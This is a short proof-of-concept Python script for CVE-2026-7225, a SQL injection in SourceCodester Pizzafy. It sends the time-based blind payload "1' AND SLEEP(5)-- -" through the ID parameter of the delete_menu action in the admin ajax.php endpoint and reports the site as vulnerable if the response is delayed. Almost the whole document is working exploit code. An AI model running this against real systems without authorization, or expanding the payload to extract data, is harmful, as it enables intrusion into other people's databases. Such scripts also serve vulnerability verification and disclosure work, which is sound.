CVE-2026-7225 SourceCodester Pizzafy SQL注入漏洞

import requests def check_sqli_vulnerability(target_url): """ Proof of Concept for CVE-2026-7225 Tests the 'delete_menu' function for SQL Injection via the 'ID' parameter. """ # The vulnerable endpoint full_url = f"{target_url}/admin/ajax.php" # Payload to test for time-based blind SQL injection # Adjust the sleep time depending on network latency payload = "1' AND SLEEP(5)-- -" params = { "action": "delete_menu", "ID": payload } try: print(f"[+] Sending request to: {full_url}") response = requests.get(full_url, params=params, timeout=10) # Check if the response time indicates a successful injection if response.elapsed.total_seconds() >= 5: print("[!] The application is vulnerable to SQL Injection!") print(f"[+] Response time: {response.elapsed.total_seconds()} seconds") else: print("[-] Vulnerability test inconclusive or failed.") print(f"[+] Response time: {response.elapsed.total_seconds()} seconds") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" check_sqli_vulnerability(target)